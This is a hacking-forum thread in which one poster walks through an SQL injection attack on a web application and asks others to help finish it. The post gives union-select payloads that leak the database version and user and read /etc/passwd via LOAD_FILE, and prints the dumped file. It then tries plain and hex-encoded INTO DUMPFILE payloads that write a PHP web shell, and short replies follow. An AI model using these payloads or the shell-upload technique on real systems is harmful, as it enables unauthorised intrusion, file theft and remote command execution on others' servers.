sqli inj upload shell bug and hex for uploa shell

Discussion in 'Болталка' started by chuna, 29 Jul 2014.

  1. chuna

    chuna New Member

    Joined:
    2 Apr 2013
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    + check bug:

    http://apple.com/index.php?action=apps&id=123
    >>> Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean given in /var/www/db.php on line 119

    + begin expl test:

    http://apple.com/index.php?action=apps&id=123+union+select+1,unhex(hex(%20concat_ws(0x3a,version(),database(),user()))),3--

    >>> #5.1.73:site:root@localhost

    + I try read file "/etc/passwd"

    http://apple.com/index.php?action=apps&id=123+union+select+1,LOAD_FILE(0x2F6574632F706173737764),3--

    root:x:0:0:root:/root:/bin/bash
    bin:x:1:1:bin:/bin:/sbin/nologin
    daemon:x:2:2:daemon:/sbin:/sbin/nologin
    adm:x:3:4:adm:/var/adm:/sbin/nologin
    lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
    sync:x:5:0:sync:/sbin:/bin/sync
    shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
    halt:x:7:0:halt:/sbin:/sbin/halt
    mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
    uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
    operator:x:11:0:eek:perator:/root:/sbin/nologin
    games:x:12:100:games:/usr/games:/sbin/nologin
    gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
    ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
    nobody:x:99:99:Nobody:/:/sbin/nologin
    vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
    saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
    mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
    smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
    sshd:x:74:74:privilege-separated SSH:/var/empty/sshd:/sbin/nologin
    apache:x:48:48:Apache:/var/www:/sbin/nologin
    named:x:25:25:Named:/var/named:/sbin/nologin
    rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
    tcpdump:x:72:72::/:/sbin/nologin
    nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
    admin:x:500:500::/home/admin:/bin/bash
    mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash


    + And try upload shell via INTO DUMPILE or INTO OUTFILE

    http://apple.com/index.php?action=apps&id=123+union+select+1,<?include($_GET["cmd']);?>,3+into+dumpfile '/var/www/shell.php'--

    >> Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean given in /var/www/db.php on line 119


    + try hex code:

    http://apple.com/index.php?action=apps&id=123+union+select+1,0x3c3f696e636c75646528245f4745545b22636d64275d293b3f3e,3+into+dumpfile '0x2f7661722f7777772f7368656c6c2e706870'--

    >> Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean given in /var/www/db.php on line 119


    + i think /var/www/ chmod 777 or 755 but i can check on server have some file chmod 777 and try INTO DUMPFILE test.txt

    but always see

    >>> Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean given in /var/www/db.php on line 119

    Anybody can help me fix link INTO OUTFILE or INTO DUMPFILE for upload shell to server
     
  2. smack

    smack Active Member

    Joined:
    25 Aug 2013
    Messages:
    212
    Likes Received:
    157
    Reputations:
    3
    alredi damped.
     
  3. \/IRUS

    \/IRUS Elder - Старейшина

    Joined:
    3 Aug 2012
    Messages:
    378
    Likes Received:
    497
    Reputations:
    37
    pretty cool
     
  4. Ganz Euler

    Ganz Euler Member

    Joined:
    7 Oct 2013
    Messages:
    50
    Likes Received:
    13
    Reputations:
    10
    magic_quotes on mb?
     
  5. b3

    b3 Moderator

    Joined:
    5 Dec 2004
    Messages:
    2,029
    Likes Received:
    913
    Reputations:
    199
    Уровень же
     
    _________________________
Loading...